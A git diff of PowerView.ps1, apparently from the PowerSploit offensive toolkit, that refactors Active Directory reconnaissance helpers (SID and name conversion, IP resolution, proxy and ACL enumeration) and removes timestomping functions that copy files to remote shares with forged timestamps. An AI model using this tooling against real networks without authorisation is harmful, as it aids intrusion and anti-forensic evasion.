diff options
Diffstat (limited to 'Recon')
| -rw-r--r-- | Recon/PowerView.ps1 | 4132 | ||||
| -rw-r--r-- | Recon/README.md | 2 | ||||
| -rw-r--r-- | Recon/Recon.psd1 | 101 | 
3 files changed, 2681 insertions, 1554 deletions
| diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 57a5789..e6f6233 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -714,11 +714,13 @@ function struct  #  ######################################################## -function Export-PowerViewCSV { +filter Export-PowerViewCSV {  <#      .SYNOPSIS -        This function exports to a .csv in a thread-safe manner. +        This helper exports an -InputObject to a .csv in a thread-safe manner +        using a mutex. This is so the various multi-threaded functions in +        PowerView has a thread-safe way to export output to the same file.          Based partially on Dmitry Sotnikov's Export-CSV code              at http://poshcode.org/1590 @@ -729,231 +731,84 @@ function Export-PowerViewCSV {          http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/  #>      Param( -        [Parameter(Mandatory=$True, ValueFromPipeline=$True, -        ValueFromPipelineByPropertyName=$True)] -        [System.Management.Automation.PSObject] +        [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)] +        [System.Management.Automation.PSObject[]]          $InputObject,          [Parameter(Mandatory=$True, Position=0)] -        [Alias('PSPath')]          [String] +        [ValidateNotNullOrEmpty()]          $OutFile      ) -    process { -         -        $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation - -        # mutex so threaded code doesn't stomp on the output file -        $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; -        $Null = $Mutex.WaitOne() +    $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation -        if (Test-Path -Path $OutFile) { -            # hack to skip the first line of output if the file already exists -            $ObjectCSV | Foreach-Object {$Start=$True}{if ($Start) {$Start=$False} else {$_}} | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile -        } -        else { -            $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile -        } +    # mutex so threaded code doesn't stomp on the output file +    $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex'; +    $Null = $Mutex.WaitOne() -        $Mutex.ReleaseMutex() +    if (Test-Path -Path $OutFile) { +        # hack to skip the first line of output if the file already exists +        $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile      } -} - - -# stolen directly from http://obscuresecurity.blogspot.com/2014/05/touch.html -function Set-MacAttribute { -<# -    .SYNOPSIS - -        Sets the modified, accessed and created (Mac) attributes for a file based on another file or input. - -        PowerSploit Function: Set-MacAttribute -        Author: Chris Campbell (@obscuresec) -        License: BSD 3-Clause -        Required Dependencies: None -        Optional Dependencies: None -        Version: 1.0.0 - -    .DESCRIPTION - -        Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file. - -    .EXAMPLE - -        PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile - -    .EXAMPLE - -        PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm" - -    .EXAMPLE - -        PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm" - -    .LINK - -        http://www.obscuresec.com/2014/05/touch.html -#> -    [CmdletBinding(DefaultParameterSetName = 'Touch')] -    Param ( - -        [Parameter(Position = 1,Mandatory = $True)] -        [ValidateScript({Test-Path -Path $_ })] -        [String] -        $FilePath, - -        [Parameter(ParameterSetName = 'Touch')] -        [ValidateScript({Test-Path -Path $_ })] -        [String] -        $OldFilePath, - -        [Parameter(ParameterSetName = 'Individual')] -        [DateTime] -        $Modified, - -        [Parameter(ParameterSetName = 'Individual')] -        [DateTime] -        $Accessed, - -        [Parameter(ParameterSetName = 'Individual')] -        [DateTime] -        $Created, - -        [Parameter(ParameterSetName = 'All')] -        [DateTime] -        $AllMacAttributes -    ) - -    #Helper function that returns an object with the MAC attributes of a file. -    function Get-MacAttribute { - -        param($OldFileName) - -        if (!(Test-Path -Path $OldFileName)) {Throw 'File Not Found'} -        $FileInfoObject = (Get-Item $OldFileName) - -        $ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime); -                              'Accessed' = ($FileInfoObject.LastAccessTime); -                              'Created' = ($FileInfoObject.CreationTime)}; -        $ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties -        Return $ResultObject -    } - -    $FileInfoObject = (Get-Item -Path $FilePath) - -    if ($PSBoundParameters['AllMacAttributes']) { -        $Modified = $AllMacAttributes -        $Accessed = $AllMacAttributes -        $Created = $AllMacAttributes -    } - -    if ($PSBoundParameters['OldFilePath']) { -        $CopyFileMac = (Get-MacAttribute $OldFilePath) -        $Modified = $CopyFileMac.Modified -        $Accessed = $CopyFileMac.Accessed -        $Created = $CopyFileMac.Created +    else { +        $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile      } -    if ($Modified) {$FileInfoObject.LastWriteTime = $Modified} -    if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed} -    if ($Created) {$FileInfoObject.CreationTime = $Created} - -    Return (Get-MacAttribute $FilePath) +    $Mutex.ReleaseMutex()  } -function Copy-ClonedFile { +filter Get-IPAddress {  <#      .SYNOPSIS -        Copy a source file to a destination location, matching any MAC -        properties as appropriate. - -    .PARAMETER SourceFile - -        Source file to copy. - -    .PARAMETER DestFile - -        Destination file path to copy file to. +        Resolves a given hostename to its associated IPv4 address.  +        If no hostname is provided, it defaults to returning +        the IP address of the localhost.      .EXAMPLE -        PS C:\> Copy-ClonedFile -SourceFile program.exe -DestFile \\WINDOWS7\tools\program.exe +        PS C:\> Get-IPAddress -ComputerName SERVER -        Copy the local program.exe binary to a remote location, matching the MAC properties of the remote exe. - -    .LINK - -        http://obscuresecurity.blogspot.com/2014/05/touch.html -#> - -    param( -        [Parameter(Mandatory = $True)] -        [String] -        [ValidateNotNullOrEmpty()] -        $SourceFile, - -        [Parameter(Mandatory = $True)] -        [String] -        [ValidateNotNullOrEmpty()] -        $DestFile -    ) - -    # clone the MAC properties -    Set-MacAttribute -FilePath $SourceFile -OldFilePath $DestFile - -    # copy the file off -    Copy-Item -Path $SourceFile -Destination $DestFile -} - - -function Get-IPAddress { -<# -    .SYNOPSIS - -        This function resolves a given hostename to its associated IPv4 -        address. If no hostname is provided, it defaults to returning -        the IP address of the local host the script be being run on. +        Return the IPv4 address of 'SERVER'      .EXAMPLE -        PS C:\> Get-IPAddress -ComputerName SERVER -         -        Return the IPv4 address of 'SERVER' +        PS C:\> Get-Content .\hostnames.txt | Get-IPAddress + +        Get the IP addresses of all hostnames in an input file.  #>      [CmdletBinding()]      param( -        [Parameter(Position=0,ValueFromPipeline=$True)] +        [Parameter(Position=0, ValueFromPipeline=$True)]          [Alias('HostName')]          [String] -        $ComputerName = '' +        $ComputerName = $Env:ComputerName      ) -    process { -        try { -            # get the IP resolution of this specified hostname -            $Results = @(([Net.Dns]::GetHostEntry($ComputerName)).AddressList) - -            if ($Results.Count -ne 0) { -                ForEach ($Result in $Results) { -                    # make sure the returned result is IPv4 -                    if ($Result.AddressFamily -eq 'InterNetwork') { -                        $Result.IPAddressToString -                    } -                } + +    try { +        # extract the computer name from whatever object was passed on the pipeline +        $Computer = $ComputerName | Get-NameField + +        # get the IP resolution of this specified hostname +        @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { +            if ($_.AddressFamily -eq 'InterNetwork') { +                $Out = New-Object PSObject +                $Out | Add-Member Noteproperty 'ComputerName' $Computer +                $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString +                $Out              }          } -        catch { -            Write-Verbose -Message 'Could not resolve host to an IP Address.' -        }      } -    end {} +    catch { +        Write-Verbose -Message 'Could not resolve host to an IP Address.' +    }  } -function Convert-NameToSid { +filter Convert-NameToSid {  <#      .SYNOPSIS @@ -973,38 +828,43 @@ function Convert-NameToSid {  #>      [CmdletBinding()]      param( -        [Parameter(Mandatory=$True,ValueFromPipeline=$True)] +        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]          [String]          [Alias('Name')]          $ObjectName,          [String] -        $Domain = (Get-NetDomain).Name +        $Domain      ) -    process { -         -        $ObjectName = $ObjectName -replace "/","\" -         -        if($ObjectName.contains("\")) { -            # if we get a DOMAIN\user format, auto convert it -            $Domain = $ObjectName.split("\")[0] -            $ObjectName = $ObjectName.split("\")[1] -        } +    $ObjectName = $ObjectName -Replace "/","\" +     +    if($ObjectName.Contains("\")) { +        # if we get a DOMAIN\user format, auto convert it +        $Domain = $ObjectName.Split("\")[0] +        $ObjectName = $ObjectName.Split("\")[1] +    } +    elseif(!$Domain) { +        $Domain = (Get-NetDomain).Name +    } -        try { -            $Obj = (New-Object System.Security.Principal.NTAccount($Domain,$ObjectName)) -            $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value -        } -        catch { -            Write-Verbose "Invalid object/name: $Domain\$ObjectName" -            $Null -        } +    try { +        $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName)) +        $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value +         +        $Out = New-Object PSObject +        $Out | Add-Member Noteproperty 'ObjectName' $ObjectName +        $Out | Add-Member Noteproperty 'SID' $SID +        $Out +    } +    catch { +        Write-Verbose "Invalid object/name: $Domain\$ObjectName" +        $Null      }  } -function Convert-SidToName { +filter Convert-SidToName {  <#      .SYNOPSIS @@ -1020,211 +880,217 @@ function Convert-SidToName {  #>      [CmdletBinding()]      param( -        [Parameter(Mandatory=$True,ValueFromPipeline=$True)] +        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]          [String] +        [ValidatePattern('^S-1-.*')]          $SID      ) -    process { -        try { -            $SID2 = $SID.trim('*') +    try { +        $SID2 = $SID.trim('*') -            # try to resolve any built-in SIDs first -            #   from https://support.microsoft.com/en-us/kb/243330 -            Switch ($SID2) -            { -                'S-1-0'         { 'Null Authority' } -                'S-1-0-0'       { 'Nobody' } -                'S-1-1'         { 'World Authority' } -                'S-1-1-0'       { 'Everyone' } -                'S-1-2'         { 'Local Authority' } -                'S-1-2-0'       { 'Local' } -                'S-1-2-1'       { 'Console Logon ' } -                'S-1-3'         { 'Creator Authority' } -                'S-1-3-0'       { 'Creator Owner' } -                'S-1-3-1'       { 'Creator Group' } -                'S-1-3-2'       { 'Creator Owner Server' } -                'S-1-3-3'       { 'Creator Group Server' } -                'S-1-3-4'       { 'Owner Rights' } -                'S-1-4'         { 'Non-unique Authority' } -                'S-1-5'         { 'NT Authority' } -                'S-1-5-1'       { 'Dialup' } -                'S-1-5-2'       { 'Network' } -                'S-1-5-3'       { 'Batch' } -                'S-1-5-4'       { 'Interactive' } -                'S-1-5-6'       { 'Service' } -                'S-1-5-7'       { 'Anonymous' } -                'S-1-5-8'       { 'Proxy' } -                'S-1-5-9'       { 'Enterprise Domain Controllers' } -                'S-1-5-10'      { 'Principal Self' } -                'S-1-5-11'      { 'Authenticated Users' } -                'S-1-5-12'      { 'Restricted Code' } -                'S-1-5-13'      { 'Terminal Server Users' } -                'S-1-5-14'      { 'Remote Interactive Logon' } -                'S-1-5-15'      { 'This Organization ' } -                'S-1-5-17'      { 'This Organization ' } -                'S-1-5-18'      { 'Local System' } -                'S-1-5-19'      { 'NT Authority' } -                'S-1-5-20'      { 'NT Authority' } -                'S-1-5-80-0'    { 'All Services ' } -                'S-1-5-32-544'  { 'BUILTIN\Administrators' } -                'S-1-5-32-545'  { 'BUILTIN\Users' } -                'S-1-5-32-546'  { 'BUILTIN\Guests' } -                'S-1-5-32-547'  { 'BUILTIN\Power Users' } -                'S-1-5-32-548'  { 'BUILTIN\Account Operators' } -                'S-1-5-32-549'  { 'BUILTIN\Server Operators' } -                'S-1-5-32-550'  { 'BUILTIN\Print Operators' } -                'S-1-5-32-551'  { 'BUILTIN\Backup Operators' } -                'S-1-5-32-552'  { 'BUILTIN\Replicators' } -                'S-1-5-32-554'  { 'BUILTIN\Pre-Windows 2000 Compatible Access' } -                'S-1-5-32-555'  { 'BUILTIN\Remote Desktop Users' } -                'S-1-5-32-556'  { 'BUILTIN\Network Configuration Operators' } -                'S-1-5-32-557'  { 'BUILTIN\Incoming Forest Trust Builders' } -                'S-1-5-32-558'  { 'BUILTIN\Performance Monitor Users' } -                'S-1-5-32-559'  { 'BUILTIN\Performance Log Users' } -                'S-1-5-32-560'  { 'BUILTIN\Windows Authorization Access Group' } -                'S-1-5-32-561'  { 'BUILTIN\Terminal Server License Servers' } -                'S-1-5-32-562'  { 'BUILTIN\Distributed COM Users' } -                'S-1-5-32-569'  { 'BUILTIN\Cryptographic Operators' } -                'S-1-5-32-573'  { 'BUILTIN\Event Log Readers' } -                'S-1-5-32-574'  { 'BUILTIN\Certificate Service DCOM Access' } -                'S-1-5-32-575'  { 'BUILTIN\RDS Remote Access Servers' } -                'S-1-5-32-576'  { 'BUILTIN\RDS Endpoint Servers' } -                'S-1-5-32-577'  { 'BUILTIN\RDS Management Servers' } -                'S-1-5-32-578'  { 'BUILTIN\Hyper-V Administrators' } -                'S-1-5-32-579'  { 'BUILTIN\Access Control Assistance Operators' } -                'S-1-5-32-580'  { 'BUILTIN\Access Control Assistance Operators' } -                Default {  -                    $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) -                    $Obj.Translate( [System.Security.Principal.NTAccount]).Value -                } +        # try to resolve any built-in SIDs first +        #   from https://support.microsoft.com/en-us/kb/243330 +        Switch ($SID2) +        { +            'S-1-0'         { 'Null Authority' } +            'S-1-0-0'       { 'Nobody' } +            'S-1-1'         { 'World Authority' } +            'S-1-1-0'       { 'Everyone' } +            'S-1-2'         { 'Local Authority' } +            'S-1-2-0'       { 'Local' } +            'S-1-2-1'       { 'Console Logon ' } +            'S-1-3'         { 'Creator Authority' } +            'S-1-3-0'       { 'Creator Owner' } +            'S-1-3-1'       { 'Creator Group' } +            'S-1-3-2'       { 'Creator Owner Server' } +            'S-1-3-3'       { 'Creator Group Server' } +            'S-1-3-4'       { 'Owner Rights' } +            'S-1-4'         { 'Non-unique Authority' } +            'S-1-5'         { 'NT Authority' } +            'S-1-5-1'       { 'Dialup' } +            'S-1-5-2'       { 'Network' } +            'S-1-5-3'       { 'Batch' } +            'S-1-5-4'       { 'Interactive' } +            'S-1-5-6'       { 'Service' } +            'S-1-5-7'       { 'Anonymous' } +            'S-1-5-8'       { 'Proxy' } +            'S-1-5-9'       { 'Enterprise Domain Controllers' } +            'S-1-5-10'      { 'Principal Self' } +            'S-1-5-11'      { 'Authenticated Users' } +            'S-1-5-12'      { 'Restricted Code' } +            'S-1-5-13'      { 'Terminal Server Users' } +            'S-1-5-14'      { 'Remote Interactive Logon' } +            'S-1-5-15'      { 'This Organization ' } +            'S-1-5-17'      { 'This Organization ' } +            'S-1-5-18'      { 'Local System' } +            'S-1-5-19'      { 'NT Authority' } +            'S-1-5-20'      { 'NT Authority' } +            'S-1-5-80-0'    { 'All Services ' } +            'S-1-5-32-544'  { 'BUILTIN\Administrators' } +            'S-1-5-32-545'  { 'BUILTIN\Users' } +            'S-1-5-32-546'  { 'BUILTIN\Guests' } +            'S-1-5-32-547'  { 'BUILTIN\Power Users' } +            'S-1-5-32-548'  { 'BUILTIN\Account Operators' } +            'S-1-5-32-549'  { 'BUILTIN\Server Operators' } +            'S-1-5-32-550'  { 'BUILTIN\Print Operators' } +            'S-1-5-32-551'  { 'BUILTIN\Backup Operators' } +            'S-1-5-32-552'  { 'BUILTIN\Replicators' } +            'S-1-5-32-554'  { 'BUILTIN\Pre-Windows 2000 Compatible Access' } +            'S-1-5-32-555'  { 'BUILTIN\Remote Desktop Users' } +            'S-1-5-32-556'  { 'BUILTIN\Network Configuration Operators' } +            'S-1-5-32-557'  { 'BUILTIN\Incoming Forest Trust Builders' } +            'S-1-5-32-558'  { 'BUILTIN\Performance Monitor Users' } +            'S-1-5-32-559'  { 'BUILTIN\Performance Log Users' } +            'S-1-5-32-560'  { 'BUILTIN\Windows Authorization Access Group' } +            'S-1-5-32-561'  { 'BUILTIN\Terminal Server License Servers' } +            'S-1-5-32-562'  { 'BUILTIN\Distributed COM Users' } +            'S-1-5-32-569'  { 'BUILTIN\Cryptographic Operators' } +            'S-1-5-32-573'  { 'BUILTIN\Event Log Readers' } +            'S-1-5-32-574'  { 'BUILTIN\Certificate Service DCOM Access' } +            'S-1-5-32-575'  { 'BUILTIN\RDS Remote Access Servers' } +            'S-1-5-32-576'  { 'BUILTIN\RDS Endpoint Servers' } +            'S-1-5-32-577'  { 'BUILTIN\RDS Management Servers' } +            'S-1-5-32-578'  { 'BUILTIN\Hyper-V Administrators' } +            'S-1-5-32-579'  { 'BUILTIN\Access Control Assistance Operators' } +            'S-1-5-32-580'  { 'BUILTIN\Access Control Assistance Operators' } +            Default {  +                $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2)) +                $Obj.Translate( [System.Security.Principal.NTAccount]).Value              }          } -        catch { -            # Write-Warning "Invalid SID: $SID" -            $SID -        } +    } +    catch { +        Write-Debug "Invalid SID: $SID" +        $SID      }  } -function Convert-NT4toCanonical { +filter Convert-ADName {  <#      .SYNOPSIS -        Converts a user/group NT4 name (i.e. dev/john) to canonical format. +        Converts user/group names from NT4 (DOMAIN\user) or domainSimple (user@domain.com) +        to canonical format (domain.com/Users/user) or NT4.          Based on Bill Stewart's code from this article:               http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats      .PARAMETER ObjectName -        The user/group name to convert, needs to be in 'DOMAIN\user' format. +        The user/group name to convert. + +    .PARAMETER InputType + +        The InputType of the user/group name ("NT4","Simple","Canonical"). + +    .PARAMETER OutputType + +        The OutputType of the user/group name ("NT4","Simple","Canonical").      .EXAMPLE -        PS C:\> Convert-NT4toCanonical -ObjectName "dev\dfm" +        PS C:\> Convert-ADName -ObjectName "dev\dfm"          Returns "dev.testlab.local/Users/Dave" +    .EXAMPLE + +        PS C:\> Convert-SidToName "S-..." | Convert-ADName +         +        Returns the canonical name for the resolved SID. +      .LINK          http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats  #>      [CmdletBinding()]      param( -        [Parameter(Mandatory=$True,ValueFromPipeline=$True)] +        [Parameter(Mandatory=$True, ValueFromPipeline=$True)] +        [String] +        $ObjectName, + +        [String] +        [ValidateSet("NT4","Simple","Canonical")] +        $InputType, +          [String] -        $ObjectName +        [ValidateSet("NT4","Simple","Canonical")] +        $OutputType      ) -    process { +    $NameTypes = @{ +        "Canonical" = 2 +        "NT4"       = 3 +        "Simple"    = 5 +    } -        $ObjectName = $ObjectName -replace "/","\" -         -        if($ObjectName.contains("\")) { -            # if we get a DOMAIN\user format, try to extract the domain -            $Domain = $ObjectName.split("\")[0] +    if(!$PSBoundParameters['InputType']) { +        if( ($ObjectName.split('/')).Count -eq 2 ) { +            $ObjectName = $ObjectName.replace('/', '\')          } -        # Accessor functions to simplify calls to NameTranslate -        function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { -            $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) -            if ( $Output ) { $Output } +        if($ObjectName -match "^[A-Za-z]+\\[A-Za-z ]+$") { +            $InputType = 'NT4'          } -        function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { -            [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters) +        elseif($ObjectName -match "^[A-Za-z ]+@[A-Za-z\.]+") { +            $InputType = 'Simple'          } - -        $Translate = New-Object -ComObject NameTranslate - -        try { -            Invoke-Method $Translate "Init" (1, $Domain) +        elseif($ObjectName -match "^[A-Za-z\.]+/[A-Za-z]+/[A-Za-z/ ]+") { +            $InputType = 'Canonical'          } -        catch [System.Management.Automation.MethodInvocationException] {  -            Write-Debug "Error with translate init in Convert-NT4toCanonical: $_" +        else { +            Write-Warning "Can not identify InType for $ObjectName" +            return $ObjectName          } +    } +    elseif($InputType -eq 'NT4') { +        $ObjectName = $ObjectName.replace('/', '\') +    } -        Set-Property $Translate "ChaseReferral" (0x60) - -        try { -            Invoke-Method $Translate "Set" (3, $ObjectName) -            (Invoke-Method $Translate "Get" (2)) -        } -        catch [System.Management.Automation.MethodInvocationException] { -            Write-Debug "Error with translate Set/Get in Convert-NT4toCanonical: $_" +    if(!$PSBoundParameters['OutputType']) { +        $OutputType = Switch($InputType) { +            'NT4' {'Canonical'} +            'Simple' {'NT4'} +            'Canonical' {'NT4'}          }      } -} - - -function Convert-CanonicaltoNT4 { -<# -    .SYNOPSIS - -        Converts a user@fqdn to NT4 format. - -    .PARAMETER ObjectName - -        The user/group name to convert, needs to be in 'DOMAIN\user' format. - -    .LINK - -        http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats -#> - -    [CmdletBinding()] -    param( -        [String] $ObjectName -    ) -    $Domain = ($ObjectName -split "@")[1] - -    $ObjectName = $ObjectName -replace "/","\" +    # try to extract the domain from the given format +    $Domain = Switch($InputType) { +        'NT4' { $ObjectName.split("\")[0] } +        'Simple' { $ObjectName.split("@")[1] } +        'Canonical' { $ObjectName.split("/")[0] } +    }      # Accessor functions to simplify calls to NameTranslate -    function Invoke-Method([__ComObject] $object, [String] $method, $parameters) { -        $output = $object.GetType().InvokeMember($method, "InvokeMethod", $NULL, $object, $parameters) -        if ( $output ) { $output } +    function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { +        $Output = $Object.GetType().InvokeMember($Method, "InvokeMethod", $Null, $Object, $Parameters) +        if ( $Output ) { $Output }      } -    function Set-Property([__ComObject] $object, [String] $property, $parameters) { -        [Void] $object.GetType().InvokeMember($property, "SetProperty", $NULL, $object, $parameters) +    function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { +        [Void] $Object.GetType().InvokeMember($Property, "SetProperty", $Null, $Object, $Parameters)      } -    $Translate = New-Object -comobject NameTranslate +    $Translate = New-Object -ComObject NameTranslate      try {          Invoke-Method $Translate "Init" (1, $Domain)      } -    catch [System.Management.Automation.MethodInvocationException] { } +    catch [System.Management.Automation.MethodInvocationException] {  +        Write-Debug "Error with translate init in Convert-ADName: $_" +    }      Set-Property $Translate "ChaseReferral" (0x60)      try { -        Invoke-Method $Translate "Set" (5, $ObjectName) -        (Invoke-Method $Translate "Get" (3)) +        Invoke-Method $Translate "Set" ($NameTypes[$InputType], $ObjectName) +        (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) +    } +    catch [System.Management.Automation.MethodInvocationException] { +        Write-Debug "Error with translate Set/Get in Convert-ADName: $_"      } -    catch [System.Management.Automation.MethodInvocationException] { $_ }  } @@ -1264,7 +1130,7 @@ function ConvertFrom-UACValue {      [CmdletBinding()]      param( -        [Parameter(ValueFromPipeline=$True)] +        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]          $Value,          [Switch] @@ -1272,7 +1138,6 @@ function ConvertFrom-UACValue {      )      begin { -          # values from https://support.microsoft.com/en-us/kb/305144          $UACValues = New-Object System.Collections.Specialized.OrderedDictionary          $UACValues.Add("SCRIPT", 1) @@ -1297,7 +1162,6 @@ function ConvertFrom-UACValue {          $UACValues.Add("PASSWORD_EXPIRED", 8388608)          $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216)          $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) -      }      process { @@ -1307,40 +1171,39 @@ function ConvertFrom-UACValue {          if($Value -is [Int]) {              $IntValue = $Value          } - -        if ($Value -is [PSCustomObject]) { +        elseif ($Value -is [PSCustomObject]) {              if($Value.useraccountcontrol) {                  $IntValue = $Value.useraccountcontrol              }          } +        else { +            Write-Warning "Invalid object input for -Value : $Value" +            return $Null  +        } -        if($IntValue) { - -            if($ShowAll) { -                foreach ($UACValue in $UACValues.GetEnumerator()) { -                    if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { -                        $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") -                    } -                    else { -                        $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") -                    } +        if($ShowAll) { +            foreach ($UACValue in $UACValues.GetEnumerator()) { +                if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { +                    $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") +                } +                else { +                    $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)")                  }              } -            else { -                foreach ($UACValue in $UACValues.GetEnumerator()) { -                    if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { -                        $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") -                    } -                }                 +        } +        else { +            foreach ($UACValue in $UACValues.GetEnumerator()) { +                if( ($IntValue -band $UACValue.Value) -eq $UACValue.Value) { +                    $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") +                }              }          } -          $ResultUACValues      }  } -function Get-Proxy { +filter Get-Proxy {  <#      .SYNOPSIS @@ -1363,52 +1226,66 @@ function Get-Proxy {          $ComputerName = $ENV:COMPUTERNAME      ) -    process { -        try { -            $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) -            $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") -            $ProxyServer = $RegKey.GetValue('ProxyServer') -            $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') +    try { +        $Reg = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('CurrentUser', $ComputerName) +        $RegKey = $Reg.OpenSubkey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings") +        $ProxyServer = $RegKey.GetValue('ProxyServer') +        $AutoConfigURL = $RegKey.GetValue('AutoConfigURL') -            if($AutoConfigURL -and ($AutoConfigURL -ne "")) { -                try { -                    $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL) -                } -                catch { -                    $Wpad = "" -                } +        $Wpad = "" +        if($AutoConfigURL -and ($AutoConfigURL -ne "")) { +            try { +                $Wpad = (New-Object Net.Webclient).DownloadString($AutoConfigURL)              } -            else { -                $Wpad = "" +            catch { +                Write-Warning "Error connecting to AutoConfigURL : $AutoConfigURL"              } -             -            if($ProxyServer -or $AutoConfigUrl) { +        } +         +        if($ProxyServer -or $AutoConfigUrl) { -                $Properties = @{ -                    'ProxyServer' = $ProxyServer -                    'AutoConfigURL' = $AutoConfigURL -                    'Wpad' = $Wpad -                } -                 -                New-Object -TypeName PSObject -Property $Properties -            } -            else { -                Write-Warning "No proxy settings found for $ComputerName" +            $Properties = @{ +                'ProxyServer' = $ProxyServer +                'AutoConfigURL' = $AutoConfigURL +                'Wpad' = $Wpad              } +             +            New-Object -TypeName PSObject -Property $Properties          } -        catch { -            Write-Warning "Error enumerating proxy settings for $ComputerName" +        else { +            Write-Warning "No proxy settings found for $ComputerName"          }      } +    catch { +        Write-Warning "Error enumerating proxy settings for $ComputerName : $_" +    }  }  function Get-PathAcl { +<# +    .SYNOPSIS +     +        Enumerates the ACL for a given file path. + +    .PARAMETER Path + +        The local/remote path to enumerate the ACLs for. + +    .PARAMETER Recurse +         +        If any ACL results are groups, recurse and retrieve user membership. + +    .EXAMPLE +        PS C:\> Get-PathAcl "\\SERVER\Share\"  +         +        Returns ACLs for the given UNC share. +#>      [CmdletBinding()]      param(          [Parameter(Mandatory=$True, ValueFromPipeline=$True)] -        [string] +        [String]          $Path,          [Switch] @@ -1491,7 +1368,7 @@ function Get-PathAcl {                      $Names = @()                      $SIDs = @($Object.objectsid) -                    if ($Recurse -and ($Object.samAccountType -ne "805306368")) { +                    if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {                          $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid                      } @@ -1521,41 +1398,83 @@ function Get-PathAcl {  } -function Get-NameField { -    # function that attempts to extract the appropriate field name -    # from various passed objects. This is so functions can have -    # multiple types of objects passed on the pipeline. +filter Get-NameField { +<# +    .SYNOPSIS +     +        Helper that attempts to extract appropriate field names from +        passed computer objects. + +    .PARAMETER Object + +        The passed object to extract name fields from. + +    .PARAMETER DnsHostName +         +        A DnsHostName to extract through ValueFromPipelineByPropertyName. + +    .PARAMETER Name +         +        A Name to extract through ValueFromPipelineByPropertyName. + +    .EXAMPLE + +        PS C:\> Get-NetComputer -FullData | Get-NameField +#>      [CmdletBinding()]      param( -        [Parameter(Mandatory=$True,ValueFromPipeline=$True)] -        $Object +        [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] +        [Object] +        $Object, + +        [Parameter(ValueFromPipelineByPropertyName = $True)] +        [String] +        $DnsHostName, + +        [Parameter(ValueFromPipelineByPropertyName = $True)] +        [String] +        $Name      ) -    process { -        if($Object) { -            if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { -                # objects from Get-NetComputer -                $Object.dnshostname -            } -            elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { -                # objects from Get-NetDomainController -                $Object.name -            } -            else { -                # strings and catch alls -                $Object -            } + +    if($PSBoundParameters['DnsHostName']) { +        $DnsHostName +    } +    elseif($PSBoundParameters['Name']) { +        $Name +    } +    elseif($Object) { +        if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) { +            # objects from Get-NetComputer +            $Object.dnshostname +        } +        elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) { +            # objects from Get-NetDomainController +            $Object.name          }          else { -            return $Null +            # strings and catch alls +            $Object          }      } +    else { +        return $Null +    }  }  function Convert-LDAPProperty { -    # helper to convert specific LDAP property result fields +<# +    .SYNOPSIS +     +        Helper that converts specific LDAP property result 